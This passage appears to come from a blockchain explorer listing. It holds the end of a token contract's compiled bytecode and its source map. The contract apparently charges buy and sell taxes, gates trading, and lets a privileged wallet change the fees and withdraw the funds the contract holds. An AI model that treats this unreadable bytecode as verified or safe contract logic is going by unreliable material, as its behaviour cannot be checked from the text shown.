405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610531565b600c5460ff16156108905760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610531565b600c805460ff19166001179055565b6040805160028082526060820183525f928392919060208301908036833701905050905030815f815181106108d6576108d6611552565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561092d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109519190611566565b8160018151811061096457610964611552565b6001600160a01b0392831660209182029290920101526008546040516307c0329d60e21b81525f929190911690631f00ca74906109a790879086906004016115c4565b5f60405180830381865afa1580156109c1573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526109e891908101906115e4565b9050805f815181106109fc576109fc611552565b602002602001015192505050919050565b6001600160a01b038316610a6f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610531565b6001600160a01b038216610ad05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610531565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600260209081526040808320938616835292905220545f1981146107c25781811015610bad5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610531565b6107c28484848403610a0d565b6001600160a01b038316610c1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610531565b6001600160a01b038216610c805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610531565b6001600160a01b0383165f9081526001602052604090205481811015610cf75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610531565b5f80546001600160a01b03868116911614801590610d2257505f546001600160a01b03858116911614155b15610ee657600c5460ff16610db3576001600160a01b0385165f9081526007602052604090205460ff1680610d6e57506001600160a01b0384165f9081526007602052604090205460ff165b610db35760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610531565b6009546001600160a01b038681169116148015610dde57506008546001600160a01b03858116911614155b8015610e0257506001600160a01b0384165f9081526007602052604090205460ff16155b15610e2457610e216064610746600a548661119290919063ffffffff16565b90505b6009546001600160a01b038581169116148015610e5957506001600160a01b0385165f9081526007602052604090205460ff16155b15610e7b57610e786064610746600b548661119290919063ffffffff16565b90505b305f9081526001602052604081205490505f610e98600d5461089f565b600c54909150610100900460ff16158015610ec057506009546001600160a01b038781169116145b8015610ecc5750808210155b15610ee357610ee3610ede8684611258565b611024565b50505b8015610f5e57305f90815260016020526040902054610f05908261126c565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f559085815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610f8090846112ca565b6001600160a01b0386165f90815260016020526040902055610fc3610fa584836112ca565b6001600160a01b0386165f908152600160205260409020549061126c565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61100c86856112ca565b60405190815260200160405180910390a35050505050565b600c805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106657611066611552565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110e19190611566565b816001815181106110f4576110f4611552565b6001600160a01b03928316602091820292909201015260085461111a9130911684610a0d565b60085460065460405163791ac94760e01b81526001600160a01b039283169263791ac947926111569287925f92889291169042906004016116ac565b5f604051808303815f87803b15801561116d575f80fd5b505af115801561117f573d5f803e3d5ffd5b5050600c805461ff001916905550505050565b5f825f036111a157505f610431565b5f6111ac83856116e7565b9050826111b985836116fe565b146112105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610531565b9392505050565b5f61121083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061130b565b5f8183116112665782611210565b50919050565b5f80611278838561171d565b9050838110156112105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610531565b5f61121083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611340565b5f818361132b5760405162461bcd60e51b8152600401610531919061136f565b505f61133784866116fe565b95945050505050565b5f81848411156113635760405162461bcd60e51b8152600401610531919061136f565b505f6113378486611730565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146104dd575f80fd5b5f80604083850312156113c9575f80fd5b82356113d4816113a4565b946020939093013593505050565b5f805f606084860312156113f4575f80fd5b83356113ff816113a4565b9250602084013561140f816113a4565b929592945050506040919091013590565b5f8060408385031215611431575f80fd5b50508035926020909101359150565b5f60208284031215611450575f80fd5b8135611210816113a4565b5f806040838503121561146c575f80fd5b8235611477816113a4565b91506020830135611487816113a4565b809150509250929050565b5f602082840312156114a2575f80fd5b5035919050565b600181811c908216806114bd57607f821691505b60208210810361126657634e487b7160e01b5f52602260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b60ff8281168282160390811115610431576104316114db565b5f60208284031215611518575f80fd5b5051919050565b5f6020828403121561152f575f80fd5b81518015158114611210575f80fd5b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611576575f80fd5b8151611210816113a4565b5f8151808452602084019350602083015f5b828110156115ba5781516001600160a01b0316865260209586019590910190600101611593565b5093949350505050565b828152604060208201525f6115dc6040830184611581565b949350505050565b5f602082840312156115f4575f80fd5b815167ffffffffffffffff81111561160a575f80fd5b8201601f8101841361161a575f80fd5b805167ffffffffffffffff8111156116345761163461153e565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156116615761166161153e565b60405291825260208184018101929081018784111561167e575f80fd5b6020850194505b838510156116a157845180825260209586019590935001611685565b509695505050505050565b85815284602082015260a060408201525f6116ca60a0830186611581565b6001600160a01b0394909416606083015250608001529392505050565b8082028115828204841417610431576104316114db565b5f8261171857634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610431576104316114db565b81810381811115610431576104316114db56fea2646970667358221220bef22cf2e15547a02fe5c431e641a98c4e1737f55d4a8ae18beae4862ea788b764736f6c634300081a0033

Deployed Bytecode Sourcemap

12095:77:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5408:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6339:201;;;;;;;;;;-1:-1:-1;6339:201:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6339:201:0;945:187:1;5728:108:0;;;;;;;;;;-1:-1:-1;5816:12:0;;5728:108;;;1283:25:1;;;1271:2;1256:18;5728:108:0;1137:177:1;6548:295:0;;;;;;;;;;-1:-1:-1;6548:295:0;;;;;:::i;:::-;;:::i;5628:92::-;;;;;;;;;;-1:-1:-1;5628:92:0;;5711:1;1974:36:1;;1962:2;1947:18;5628:92:0;1832:184:1;10718:370:0;;;;;;;;;;-1:-1:-1;10718:370:0;;;;;:::i;:::-;;:::i;:::-;;9813:232;;;;;;;;;;;;;:::i;10368:340::-;;;;;;;;;;-1:-1:-1;10368:340:0;;;;;:::i;:::-;;:::i;9601:200::-;;;;;;;;;;-1:-1:-1;9601:200:0;;;;;:::i;:::-;;:::i;5844:127::-;;;;;;;;;;-1:-1:-1;5844:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;5945:18:0;5918:7;5945:18;;;:9;:18;;;;;;;5844:127;850:148;;;;;;;;;;;;;:::i;10092:266::-;;;;;;;;;;-1:-1:-1;10092:266:0;;;;;:::i;:::-;;:::i;636:79::-;;;;;;;;;;-1:-1:-1;674:7:0;701:6;636:79;;-1:-1:-1;;;;;701:6:0;;;3150:51:1;;3138:2;3123:18;636:79:0;3004:203:1;5516:104:0;;;;;;;;;;;;;:::i;5979:193::-;;;;;;;;;;-1:-1:-1;5979:193:0;;;;;:::i;:::-;;:::i;11096:140::-;;;;;;;;;;;;;:::i;6180:151::-;;;;;;;;;;-1:-1:-1;6180:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;6296:18:0;;;6269:7;6296:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6180:151;4615:47;;;;;;;;;;;;;;;;6857:357;;;;;;;;;;-1:-1:-1;6857:357:0;;;;;:::i;:::-;;:::i;5408:100::-;5462:13;5495:5;5488:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5408:100;:::o;6339:201::-;6422:4;291:10;6478:32;291:10;6494:7;6503:6;6478:8;:32::i;:::-;6528:4;6521:11;;;6339:201;;;;;:::o;6548:295::-;6679:4;291:10;6737:38;6753:4;291:10;6768:6;6737:15;:38::i;:::-;6786:27;6796:4;6802:2;6806:6;6786:9;:27::i;:::-;-1:-1:-1;6831:4:0;;6548:295;-1:-1:-1;;;;6548:295:0:o;10718:370::-;10868:10;;10820:15;;-1:-1:-1;;;;;10868:10:0;10854;:24;:37;;10889:2;10854:37;;;10881:5;10854:37;10838:54;;:2;:54;:::i;:::-;-1:-1:-1;;;;;;;11055:18:0;;;10903:46;11055:18;;;11023:9;11055:18;;;;;:25;10718:370::o;9813:232::-;9877:10;;-1:-1:-1;;;;;9877:10:0;291;-1:-1:-1;;;;;9863:24:0;;9855:33;;;;;;9938:4;9899:20;5945:18;;;:9;:18;;;;;;9958:14;;9955:73;;9986:30;10003:12;9986:16;:30::i;:::-;9844:201;9813:232::o;10368:340::-;10470:10;;-1:-1:-1;;;;;10470:10:0;10458;:22;10450:58;;;;-1:-1:-1;;;10450:58:0;;4711:2:1;10450:58:0;;;4693:21:1;4750:2;4730:18;;;4723:30;-1:-1:-1;;;4769:18:1;;;4762:54;4833:18;;10450:58:0;;;;;;;;;10566:6;10574:1;10566:9;10563:128;;10591:36;;-1:-1:-1;;;;;10591:13:0;;;10605:21;10591:36;;;;;;;;;10605:21;10591:13;:36;;;;;;;;;;;;;;;;;;;;;10368:340;;:::o;10563:128::-;10658:21;;-1:-1:-1;;;;;10658:13:0;;;:21;;;;;10672:6;;10658:21;;;;10672:6;10658:13;:21;;;;;;;;;;;;;;;;;;;9601:200;9693:10;;-1:-1:-1;;;;;9693:10:0;9681;:22;9673:58;;;;-1:-1:-1;;;9673:58:0;;4711:2:1;9673:58:0;;;4693:21:1;4750:2;4730:18;;;4723:30;-1:-1:-1;;;4769:18:1;;;4762:54;4833:18;;9673:58:0;4509:348:1;9673:58:0;9742:12;:19;;;;9772:13;:21;9601:200::o;850:148::-;763:6;;-1:-1:-1;;;;;763:6:0;291:10;763:22;755:67;;;;-1:-1:-1;;;755:67:0;;5403:2:1;755:67:0;;;5385:21:1;;;5422:18;;;5415:30;5481:34;5461:18;;;5454:62;5533:18;;755:67:0;5201:356:1;755:67:0;957:1:::1;941:6:::0;;920:40:::1;::::0;-1:-1:-1;;;;;941:6:0;;::::1;::::0;920:40:::1;::::0;957:1;;920:40:::1;988:1;971:19:::0;;-1:-1:-1;;;;;;971:19:0::1;::::0;;850:148::o;10092:266::-;10190:10;;-1:-1:-1;;;;;10190:10:0;291;-1:-1:-1;;;;;10176:24:0;;10168:33;;;;;;10230:41;;-1:-1:-1;;;10230:41:0;;10265:4;10230:41;;;3150:51:1;10212:15:0;;10230:63;;10289:3;;10230:54;;10276:7;;-1:-1:-1;;;;;10230:26:0;;;;;3123:18:1;;10230:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54::i;:::-;:58;;:63::i;:::-;10330:10;;10304:46;;-1:-1:-1;;;10304:46:0;;-1:-1:-1;;;;;10330:10:0;;;10304:46;;;5971:51:1;6038:18;;;6031:34;;;10212:81:0;;-1:-1:-1;10304:25:0;;;;;5944:18:1;;10304:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10157:201;10092:266;;:::o;5516:104::-;5572:13;5605:7;5598:14;;;;;:::i;5979:193::-;6058:4;291:10;6114:28;291:10;6131:2;6135:6;6114:9;:28::i;11096:140::-;763:6;;-1:-1:-1;;;;;763:6:0;291:10;763:22;755:67;;;;-1:-1:-1;;;755:67:0;;5403:2:1;755:67:0;;;5385:21:1;;;5422:18;;;5415:30;5481:34;5461:18;;;5454:62;5533:18;;755:67:0;5201:356:1;755:67:0;11158:11:::1;::::0;::::1;;11157:12;11149:48;;;::::0;-1:-1:-1;;;11149:48:0;;6560:2:1;11149:48:0::1;::::0;::::1;6542:21:1::0;6599:2;6579:18;;;6572:30;6638:25;6618:18;;;6611:53;6681:18;;11149:48:0::1;6358:347:1::0;11149:48:0::1;11209:11;:18:::0;;-1:-1:-1;;11209:18:0::1;11223:4;11209:18;::::0;;11096:140::o;6857:357::-;6972:16;;;6986:1;6972:16;;;;;;;;6920:7;;;;6972:16;6986:1;6972:16;;;;;;;;;;-1:-1:-1;6972:16:0;6939:49;;7026:4;6999:13;7013:1;6999:16;;;;;;;;:::i;:::-;-1:-1:-1;;;;;6999:32:0;;;:16;;;;;;;;;;:32;;;;7061:15;;:22;;;-1:-1:-1;;;7061:22:0;;;;:15;;;;;:20;;:22;;;;;6999:16;;7061:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7042:13;7056:1;7042:16;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7042:41:0;;;:16;;;;;;;;;:41;7118:15;;:52;;-1:-1:-1;;;7118:52:0;;7094:21;;7118:15;;;;;:28;;:52;;7147:8;;7156:13;;7118:52;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7118:52:0;;;;;;;;;;;;:::i;:::-;7094:76;;7196:7;7204:1;7196:10;;;;;;;;:::i;:::-;;;;;;;7189:17;;;;6857:357;;;:::o;11246:380::-;-1:-1:-1;;;;;11382:19:0;;11374:68;;;;-1:-1:-1;;;11374:68:0;;9390:2:1;11374:68:0;;;9372:21:1;9429:2;9409:18;;;9402:30;9468:34;9448:18;;;9441:62;-1:-1:-1;;;9519:18:1;;;9512:34;9563:19;;11374:68:0;9188:400:1;11374:68:0;-1:-1:-1;;;;;11461:21:0;;11453:68;;;;-1:-1:-1;;;11453:68:0;;9795:2:1;11453:68:0;;;9777:21:1;9834:2;9814:18;;;9807:30;9873:34;9853:18;;;9846:62;-1:-1:-1;;;9924:18:1;;;9917:32;9966:19;;11453:68:0;9593:398:1;11453:68:0;-1:-1:-1;;;;;11534:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11586:32;;1283:25:1;;;11586:32:0;;1256:18:1;11586:32:0;;;;;;;11246:380;;;:::o;11642:444::-;-1:-1:-1;;;;;6296:18:0;;;11780:24;6296:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;11847:37:0;;11843:236;;11929:6;11909:16;:26;;11901:68;;;;-1:-1:-1;;;11901:68:0;;10198:2:1;11901:68:0;;;10180:21:1;10237:2;10217:18;;;10210:30;10276:31;10256:18;;;10249:59;10325:18;;11901:68:0;9996:353:1;11901:68:0;12005:51;12014:5;12021:7;12049:6;12030:16;:25;12005:8;:51::i;7222:1773::-;-1:-1:-1;;;;;7353:18:0;;7345:68;;;;-1:-1:-1;;;7345:68:0;;10556:2:1;7345:68:0;;;10538:21:1;10595:2;10575:18;;;10568:30;10634:34;10614:18;;;10607:62;-1:-1:-1;;;10685:18:1;;;10678:35;10730:19;;7345:68:0;10354:401:1;7345:68:0;-1:-1:-1;;;;;7440:16:0;;7432:64;;;;-1:-1:-1;;;7432:64:0;;10962:2:1;7432:64:0;;;10944:21:1;11001:2;10981:18;;;10974:30;11040:34;11020:18;;;11013:62;-1:-1:-1;;;11091:18:1;;;11084:33;11134:19;;7432:64:0;10760:399:1;7432:64:0;-1:-1:-1;;;;;7531:15:0;;7509:19;7531:15;;;:9;:15;;;;;;7565:21;;;;7557:72;;;;-1:-1:-1;;;7557:72:0;;11366:2:1;7557:72:0;;;11348:21:1;11405:2;11385:18;;;11378:30;11444:34;11424:18;;;11417:62;-1:-1:-1;;;11495:18:1;;;11488:36;11541:19;;7557:72:0;11164:402:1;7557:72:0;7646:17;701:6;;-1:-1:-1;;;;;7680:15:0;;;701:6;;7680:15;;;;:32;;-1:-1:-1;674:7:0;701:6;-1:-1:-1;;;;;7699:13:0;;;701:6;;7699:13;;7680:32;7676:949;;;7748:11;;;;7743:138;;-1:-1:-1;;;;;7788:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;7816:22:0;;;;;;:18;:22;;;;;;;;7788:50;7780:85;;;;-1:-1:-1;;;7780:85:0;;11773:2:1;7780:85:0;;;11755:21:1;11812:2;11792:18;;;11785:30;-1:-1:-1;;;11831:18:1;;;11824:52;11893:18;;7780:85:0;11571:346:1;7780:85:0;7909:13;;-1:-1:-1;;;;;7901:21:0;;;7909:13;;7901:21;:55;;;;-1:-1:-1;7940:15:0;;-1:-1:-1;;;;;7926:30:0;;;7940:15;;7926:30;;7901:55;:83;;;;-1:-1:-1;;;;;;7962:22:0;;;;;;:18;:22;;;;;;;;7960:24;7901:83;7897:194;;;8024:33;8053:3;8024:24;8035:12;;8024:6;:10;;:24;;;;:::i;:33::-;8012:45;;7897:194;8116:13;;-1:-1:-1;;;;;8110:19:0;;;8116:13;;8110:19;:49;;;;-1:-1:-1;;;;;;8135:24:0;;;;;;:18;:24;;;;;;;;8133:26;8110:49;8107:136;;;8193:34;8223:3;8193:25;8204:13;;8193:6;:10;;:25;;;;:::i;:34::-;8181:46;;8107:136;8308:4;8259:28;5945:18;;;:9;:18;;;;;;8259:55;;8329:19;8351:34;8367:17;;8351:15;:34::i;:::-;8405:6;;8329:56;;-1:-1:-1;8405:6:0;;;;;8404:7;:30;;;;-1:-1:-1;8421:13:0;;-1:-1:-1;;;;;8415:19:0;;;8421:13;;8415:19;8404:30;:69;;;;;8462:11;8438:20;:35;;8404:69;8400:214;;;8513:51;8530:33;8534:6;8542:20;8530:3;:33::i;:::-;8513:16;:51::i;:::-;7714:911;;7676:949;8640:11;;8637:165;;8710:4;8692:24;;;;:9;:24;;;;;;:39;;8721:9;8692:28;:39::i;:::-;8685:4;8667:24;;;;:9;:24;;;;;;;:64;;;;8751:39;;-1:-1:-1;;;;;8751:39:0;;;;;;;8780:9;1283:25:1;;1271:2;1256:18;;1137:177;8751:39:0;;;;;;;;8637:165;-1:-1:-1;;;;;8828:15:0;;;;;;:9;:15;;;;;;:27;;8848:6;8828:19;:27::i;:::-;-1:-1:-1;;;;;8812:15:0;;;;;;:9;:15;;;;;:43;8880:40;8898:21;:6;8909:9;8898:10;:21::i;:::-;-1:-1:-1;;;;;8880:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8866:13:0;;;;;;;:9;:13;;;;;:54;;;;8936:41;;;8955:21;:6;8966:9;8955:10;:21::i;:::-;8936:41;;1283:25:1;;;1271:2;1256:18;8936:41:0;;;;;;;7334:1661;;7222:1773;;;:::o;9113:480::-;4713:6;:13;;-1:-1:-1;;4713:13:0;;;;;9215:16:::1;::::0;;9229:1:::1;9215:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9215:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9215:16:0::1;9191:40;;9260:4;9242;9247:1;9242:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9242:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9286:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9286:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9242:7;;9286:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9276:4;9281:1;9276:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9276:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9351:15:::1;::::0;9319:62:::1;::::0;9336:4:::1;::::0;9351:15:::1;9369:11:::0;9319:8:::1;:62::i;:::-;9392:15;::::0;9534:10:::1;::::0;9392:193:::1;::::0;-1:-1:-1;;;9392:193:0;;-1:-1:-1;;;;;9392:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;9473:11;;9392:15:::1;::::0;9515:4;;9534:10;::::1;::::0;9559:15:::1;::::0;9392:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4749:6:0;:14;;-1:-1:-1;;4749:14:0;;;-1:-1:-1;;;;9113:480:0:o;1562:246::-;1620:7;1644:1;1649;1644:6;1640:47;;-1:-1:-1;1674:1:0;1667:8;;1640:47;1697:9;1709:5;1713:1;1709;:5;:::i;:::-;1697:17;-1:-1:-1;1742:1:0;1733:5;1737:1;1697:17;1733:5;:::i;:::-;:10;1725:56;;;;-1:-1:-1;;;1725:56:0;;13106:2:1;1725:56:0;;;13088:21:1;13145:2;13125:18;;;13118:30;13184:34;13164:18;;;13157:62;-1:-1:-1;;;13235:18:1;;;13228:31;13276:19;;1725:56:0;12904:397:1;1725:56:0;1799:1;1562:246;-1:-1:-1;;;1562:246:0:o;1816:132::-;1874:7;1901:39;1905:1;1908;1901:39;;;;;;;;;;;;;;;;;:3;:39::i;9003:100::-;9060:7;9089:1;9087;:3;9086:9;;9094:1;9086:9;;;-1:-1:-1;9092:1:0;9003:100;-1:-1:-1;9003:100:0:o;1033:179::-;1091:7;;1123:5;1127:1;1123;:5;:::i;:::-;1111:17;;1152:1;1147;:6;;1139:46;;;;-1:-1:-1;;;1139:46:0;;13638:2:1;1139:46:0;;;13620:21:1;13677:2;13657:18;;;13650:30;13716:29;13696:18;;;13689:57;13763:18;;1139:46:0;13436:351:1;1220:136:0;1278:7;1305:43;1309:1;1312;1305:43;;;;;;;;;;;;;;;;;:3;:43::i;1956:189::-;2042:7;2077:12;2070:5;2062:28;;;;-1:-1:-1;;;2062:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2101:9:0;2113:5;2117:1;2113;:5;:::i;:::-;2101:17;1956:189;-1:-1:-1;;;;;1956:189:0:o;1364:190::-;1450:7;1486:12;1478:6;;;;1470:29;;;;-1:-1:-1;;;1470:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1510:9:0;1522:5;1526:1;1522;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2401:346::-;2469:6;2477;2530:2;2518:9;2509:7;2505:23;2501:32;2498:52;;;2546:1;2543;2536:12;2498:52;-1:-1:-1;;2591:23:1;;;2711:2;2696:18;;;2683:32;;-1:-1:-1;2401:346:1:o;2752:247::-;2811:6;2864:2;2852:9;2843:7;2839:23;2835:32;2832:52;;;2880:1;2877;2870:12;2832:52;2919:9;2906:23;2938:31;2963:5;2938:31;:::i;3212:388::-;3280:6;3288;3341:2;3329:9;3320:7;3316:23;3312:32;3309:52;;;3357:1;3354;3347:12;3309:52;3396:9;3383:23;3415:31;3440:5;3415:31;:::i;:::-;3465:5;-1:-1:-1;3522:2:1;3507:18;;3494:32;3535:33;3494:32;3535:33;:::i;:::-;3587:7;3577:17;;;3212:388;;;;;:::o;3605:226::-;3664:6;3717:2;3705:9;3696:7;3692:23;3688:32;3685:52;;;3733:1;3730;3723:12;3685:52;-1:-1:-1;3778:23:1;;3605:226;-1:-1:-1;3605:226:1:o;3836:380::-;3915:1;3911:12;;;;3958;;;3979:61;;4033:4;4025:6;4021:17;4011:27;;3979:61;4086:2;4078:6;4075:14;4055:18;4052:38;4049:161;;4132:10;4127:3;4123:20;4120:1;4113:31;4167:4;4164:1;4157:15;4195:4;4192:1;4185:15;4221:127;4282:10;4277:3;4273:20;4270:1;4263:31;4313:4;4310:1;4303:15;4337:4;4334:1;4327:15;4353:151;4443:4;4436:12;;;4422;;;4418:31;;4461:14;;4458:40;;;4478:18;;:::i;5562:230::-;5632:6;5685:2;5673:9;5664:7;5660:23;5656:32;5653:52;;;5701:1;5698;5691:12;5653:52;-1:-1:-1;5746:16:1;;5562:230;-1:-1:-1;5562:230:1:o;6076:277::-;6143:6;6196:2;6184:9;6175:7;6171:23;6167:32;6164:52;;;6212:1;6209;6202:12;6164:52;6244:9;6238:16;6297:5;6290:13;6283:21;6276:5;6273:32;6263:60;;6319:1;6316;6309:12;6710:127;6771:10;6766:3;6762:20;6759:1;6752:31;6802:4;6799:1;6792:15;6826:4;6823:1;6816:15;6842:127;6903:10;6898:3;6894:20;6891:1;6884:31;6934:4;6931:1;6924:15;6958:4;6955:1;6948:15;6974:251;7044:6;7097:2;7085:9;7076:7;7072:23;7068:32;7065:52;;;7113:1;7110;7103:12;7065:52;7145:9;7139:16;7164:31;7189:5;7164:31;:::i;7230:446::-;7283:3;7321:5;7315:12;7348:6;7343:3;7336:19;7380:4;7375:3;7371:14;7364:21;;7419:4;7412:5;7408:16;7442:1;7452:199;7466:6;7463:1;7460:13;7452:199;;;7531:13;;-1:-1:-1;;;;;7527:39:1;7515:52;;7596:4;7587:14;;;;7624:17;;;;7563:1;7481:9;7452:199;;;-1:-1:-1;7667:3:1;;7230:446;-1:-1:-1;;;;7230:446:1:o;7681:332::-;7888:6;7877:9;7870:25;7931:2;7926;7915:9;7911:18;7904:30;7851:4;7951:56;8003:2;7992:9;7988:18;7980:6;7951:56;:::i;:::-;7943:64;7681:332;-1:-1:-1;;;;7681:332:1:o;8018:1165::-;8113:6;8166:2;8154:9;8145:7;8141:23;8137:32;8134:52;;;8182:1;8179;8172:12;8134:52;8215:9;8209:16;8248:18;8240:6;8237:30;8234:50;;;8280:1;8277;8270:12;8234:50;8303:22;;8356:4;8348:13;;8344:27;-1:-1:-1;8334:55:1;;8385:1;8382;8375:12;8334:55;8418:2;8412:9;8444:18;8436:6;8433:30;8430:56;;;8466:18;;:::i;:::-;8512:6;8509:1;8505:14;8548:2;8542:9;8611:2;8607:7;8602:2;8598;8594:11;8590:25;8582:6;8578:38;8682:6;8670:10;8667:22;8646:18;8634:10;8631:34;8628:62;8625:88;;;8693:18;;:::i;:::-;8729:2;8722:22;8779;;;8829:2;8859:11;;;8855:20;;;8779:22;8817:15;;8887:19;;;8884:39;;;8919:1;8916;8909:12;8884:39;8951:2;8947;8943:11;8932:22;;8963:189;8979:6;8974:3;8971:15;8963:189;;;9069:10;;9092:18;;;9139:2;8996:12;;;;9069:10;;-1:-1:-1;9130:12:1;8963:189;;;-1:-1:-1;9171:6:1;8018:1165;-1:-1:-1;;;;;;8018:1165:1:o;11922:582::-;12221:6;12210:9;12203:25;12264:6;12259:2;12248:9;12244:18;12237:34;12307:3;12302:2;12291:9;12287:18;12280:31;12184:4;12328:57;12380:3;12369:9;12365:19;12357:6;12328:57;:::i;:::-;-1:-1:-1;;;;;12421:32:1;;;;12416:2;12401:18;;12394:60;-1:-1:-1;12485:3:1;12470:19;12463:35;12320:65;11922:582;-1:-1:-1;;;11922:582:1:o;12509:168::-;12582:9;;;12613;;12630:15;;;12624:22;;12610:37;12600:71;;12651:18;;:::i;12682:217::-;12722:1;12748;12738:132;;12792:10;12787:3;12783:20;12780:1;12773:31;12827:4;12824:1;12817:15;12855:4;12852:1;12845:15;12738:132;-1:-1:-1;12884:9:1;;12682:217::o;13306:125::-;13371:9;;;13392:10;;;13389:36;;;13405:18;;:::i;13792:128::-;13859:9;;;13880:11;;;13877:37;;;13894:18;;:::